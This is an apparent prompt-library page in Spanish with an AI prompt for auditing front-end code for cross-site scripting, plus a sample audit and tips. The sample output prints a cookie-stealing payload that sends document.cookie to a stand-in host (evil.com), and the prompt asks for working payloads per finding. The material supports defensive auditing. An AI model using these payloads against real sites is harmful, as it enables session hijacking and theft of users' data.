Skip to content
NeuralSkills
Seguridad

Escudo XSS

Encuentra y corrige vulnerabilidades de cross-site scripting — XSS reflejado, almacenado y basado en DOM en tu frontend y backend.

Avanzado Gratis Publicado: 15 de abril de 2026
Herramientas Compatibles claude-codechatgptgeminicopilotcursorwindsurfuniversal

El Problema

Cross-site scripting (XSS) es la vulnerabilidad web mas prevalente, presente en casi toda aplicacion que renderiza contenido proporcionado por usuarios. Una sola variable de template sin sanitizar puede permitir a atacantes robar cookies de sesion, redirigir usuarios a paginas de phishing o inyectar mineros de criptomonedas en tu sitio. Los frameworks modernos ofrecen auto-escaping, pero los desarrolladores lo evitan rutinariamente con dangerouslySetInnerHTML, v-html o template literals sin escapar.

El Prompt

Eres un experto en seguridad frontend especializado en prevencion de XSS. Audita el siguiente codigo en busca de todos los tipos de vulnerabilidades de cross-site scripting.

FRAMEWORK: [ej. React, Vue, Angular, Astro, vanilla JS, EJS/Pug server-rendered]
RENDERING: [ej. SSR, SSG, CSR, hibrido]

CODIGO:
[pega templates, componentes, handlers de respuesta API o codigo de rendering del servidor]

Escanear los tres tipos de XSS:

1. **XSS Reflejado**: Input de usuario reflejado en la respuesta sin encoding
2. **XSS Almacenado**: Datos maliciosos guardados en base de datos y renderizados a otros usuarios
3. **XSS Basado en DOM**: JS del cliente escribiendo datos sin escapar al DOM

Verificar estos patrones especificos:
- innerHTML, outerHTML, document.write()
- dangerouslySetInnerHTML (React), v-html (Vue), [innerHTML] (Angular)
- Template literals insertados en contexto HTML
- Parametros de URL usados en href, src o event handlers
- eval(), Function(), setTimeout/setInterval con argumentos string
- Handlers de postMessage sin validacion de origen
- Vectores de inyeccion SVG/MathML
- Inyeccion CSS via atributos style

Para cada hallazgo:
- **Tipo de XSS**: Reflejado / Almacenado / Basado en DOM
- **Payload**: Payload XSS funcional que demuestra la vulnerabilidad
- **Severidad**: Critica / Alta / Media
- **Solucion**: Encoding o sanitizacion apropiada al contexto

Ejemplo de Salida

## Auditoria XSS: 3 vulnerabilidades encontradas

### CRITICA: XSS Almacenado via dangerouslySetInnerHTML
Componente: UserComment.jsx, Linea 24
`<div dangerouslySetInnerHTML={{__html: comment.body}} />`
Payload: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
Solucion: Usar DOMPurify.sanitize(comment.body) o renderizar como texto plano.

### ALTA: XSS Basado en DOM via parametro URL
Archivo: search.js, Linea 12: `document.getElementById('query').innerHTML = urlParams.get('q')`
Payload: `?q=<script>alert(1)</script>`
Solucion: Usar textContent en lugar de innerHTML.

Cuando Usar

Auditar cada componente que renderiza contenido generado por usuarios — comentarios, perfiles, resultados de busqueda, mensajes de chat, templates de email. Esencial despues de agregar editores de texto enriquecido, renderizadores de markdown o cualquier feature que acepte input HTML. Ejecutar antes de cada release que toque logica de rendering.

Tips Pro

  • Prueba en contexto — pide a la IA que genere payloads especificos al comportamiento de escaping de tu framework, ya que React escapa diferente a Vue o Angular.
  • Revisa el flujo completo de datos — rastrea el input del usuario desde el endpoint de API a traves de la base de datos hasta el rendering del template para encontrar XSS almacenado.
  • No olvides la inyeccion CSS — los atributos style pueden exfiltrar datos via URLs de background-image y romper layouts.
  • Incluye Content Security Policy — combina fixes de codigo con headers CSP para defensa en profundidad. Una CSP estricta bloquea scripts inline incluso si XSS evade las defensas a nivel de codigo.